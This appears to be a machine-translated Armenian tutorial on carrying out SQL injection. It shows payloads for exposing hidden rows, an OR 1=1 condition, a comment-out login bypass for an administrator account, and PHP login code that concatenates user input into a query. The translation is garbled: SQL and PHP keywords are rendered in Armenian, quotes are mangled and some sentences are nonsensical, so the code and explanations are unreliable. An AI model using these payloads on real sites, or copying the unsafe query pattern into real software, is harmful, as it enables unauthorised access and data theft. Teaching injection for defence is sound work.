Ինչպես կատարել Sql ներարկում

Ի՞նչ է SQL ներարկումը (SQLi):

SQL ներարկումը վեբ հարձակման ամենատարածված մեխանիզմներից մեկն է, որն օգտագործվում է հարձակվողների կողմից բիզնեսից կամ սոցիալական մեդիա հարթակից գրառումներ և զգայուն գրառումներ գողանալու համար: Թեև SQL Injection-ը կարող է կորցնել ցանկացած տեղեկատվություն SQL տվյալների բազա օգտագործող հավելվածի վրա, այն կիլոմետրերով օգտագործվում է վեբ կայքերը հարձակվելու համար: SQL Injection-ը կոդի ներարկման տեխնիկա է, որը հաքերները կարող են օգտագործել SQL-ի վնասակար հայտարարությունները մուտքագրման հարցումների մեջ տեղադրելու համար՝ հիմքում ընկած SQL տվյալների բազայի միջոցով կատարելու համար: Այս մեթոդը իրագործելի է դառնում թեքված վեբ փաթեթների ոչ պատշաճ կոդավորման պատճառով: SQL ներարկումը բարձրանում է այն փաստի պատճառով, որ մուտքագրման դաշտերը հասանելի են օգտագործողի համար մուտքագրել բոլոր վատ տեսակների SQL հայտարարությունները՝ ուղղակիորեն տվյալների բազան անցնելու և հարցումները տեղադրելու համար:

Տարբեր տեսակի ներարկումներ

  • Փոփոխեք SQL հարցումը և առբերեք լրացուցիչ տեղեկատվություն տվյալների բազայից, մենք կարող ենք ասել, որ սա առբերում է թաքնված տվյալները աղյուսակներից:
  • Խոչընդոտեք բիզնեսի տրամաբանությանը և փոփոխեք հարցումը՝ հավելվածի տրամաբանությունը փոխելու համար:
  • Ստացեք տվյալների բազայի տարբեր աղյուսակներից և հարձակվեք դրանց վրա, սա կոչվում է UNION հարձակումներ:
  • Տվյալների բազայի ուսումնասիրություն, որում կարող եք տեղեկատվություն հանել մոտավորապես տվյալների բազայի տարբերակի և կառուցվածքի մասին:

Ստացեք թաքնված տվյալներ

Եկեք մուտքագրենք այս URL-ը ձեր բրաուզերում և աղյուսակից ստանանք բոնուսային կատեգորիաները.

https://insecure-website.com/products?category=Բոնուս

Սա հանգեցնում է նրան, որ հավելվածը SQL հարց է տալիս տվյալների բազայից համապատասխան ապրանքների մասին տեղեկատվությունը հետևյալ կերպ.

SELECT * FROM ապրանք ՈՐՏԵՂ կատեգորիա = «Բոնուս» ԵՎ թողարկված = 1

Այս SQL հարցումը տվյալների բազայից պահանջում է վերադարձնել.

  • բոլոր տեղեկությունները (*)
  • Ապրանքի գրասեղանից
  • Որտեղ կատեգորիան բոնուս է
  • Եվ թողարկված է 1

Ծրագիրը ուժի մեջ չի դնում որևէ պաշտպանություն SQL ներարկման հարձակումների դեմ, այնպես որ հարձակվողը կարող է հավաքել այնպիսի հարձակում, ինչպիսին է.

https://insecure-website.com/products?category=Bonus’ – –

Վերոնշյալ հարցման արդյունքը հետևյալն է.

Ընտրեք * ապրանքներից, որտեղ կատեգորիա = «Բոնուս»–« ԵՎ թողարկված = 1

Հիմնական բաղադրիչը հենց այստեղ այն է, որ կրկնակի գծերի շարքը դիտողություն է SQL-ում և նշանակում է, որ մնացած հարցը մեկնաբանվում է որպես մեկնաբանություն: Սա հաջողությամբ ազատվում է մնացած հարցումից, ուստի այն այլևս չի ներառում AND մեկնարկել = 1: Այսպիսով, յուրաքանչյուր ապրանք ցուցադրվում է, օրինակ՝ չհրապարակված ապրանքները:

SQL ներարկման մեկ այլ մեթոդ.

https://insecure-website.com/products?category=Bonus’+OR+1=1–

Արդյունքը:

Ընտրեք * ապրանքներից, որտեղ կատեգորիա = «Բոնուս» ԿԱՄ 1=1–« ԵՎ թողարկված = 1

Օգտագործելով վերը նշված հարցումը, դուք կարող եք հեշտությամբ հարձակվել տվյալների բազայի վրա:

Փոխեք կիրառման տրամաբանությունը

Շրջանցեք մուտքի հաշիվը՝ օգտագործելով հետևյալ հարցումը.

SELECT * FROM օգտվողներ ՈՐՏԵՂ օգտվողի անուն = «ջոն» ԵՎ գաղտնաբառ = «johnwilliam»

Հարձակվողի գրանցամատյանը օգտանունով առանց որևէ գաղտնաբառի, SQL հարցումում օգտագործեք – կրկնակի գծիկով գաղտնաբառ և մեկնաբանեք այն որտեղ կետում: Օրինակ՝ հարցում ուղարկեք օգտվողի անվան ադմինիստրատորին և գաղտնաբառի դատարկ դաշտը: Հարցումը հետևյալն է.

Ընտրեք * Օգտատերերից ՈՐՏԵՂ օգտվողի անուն = «ադմինիստրատոր» – – «ԵՎ գաղտնաբառ =

Նրանք նաև շատ մեթոդներ են SQL ներարկման համար:

Ինչպես կատարել SQL ներարկում մուտքի էջում

SQL Injection-ի պարզ PHP կոդը մուտքի էջում տրված է ստորև.

$uname = $_POST [ ‘ unname ‘ ] ;

$passwrd = $_POST [ ‘ passwrd ‘ ] ;

$query = ‘ ընտրեք օգտվողի անուն, անցեք օգտվողներից, որտեղ օգտագործողի անունը = ‘ $uname ‘ և գաղտնաբառը = ‘ $passwrd

$result = mysql_query ($query);

$rows = mysql_fetch_array ($result);

Եթե ​​($ տող)

{

echo «Դուք հաջողությամբ մուտք եք գործել»;
create_session();

}

ուրիշ {

echo «Հաջորդ անգամ ավելի լավ հաջողություն»;
}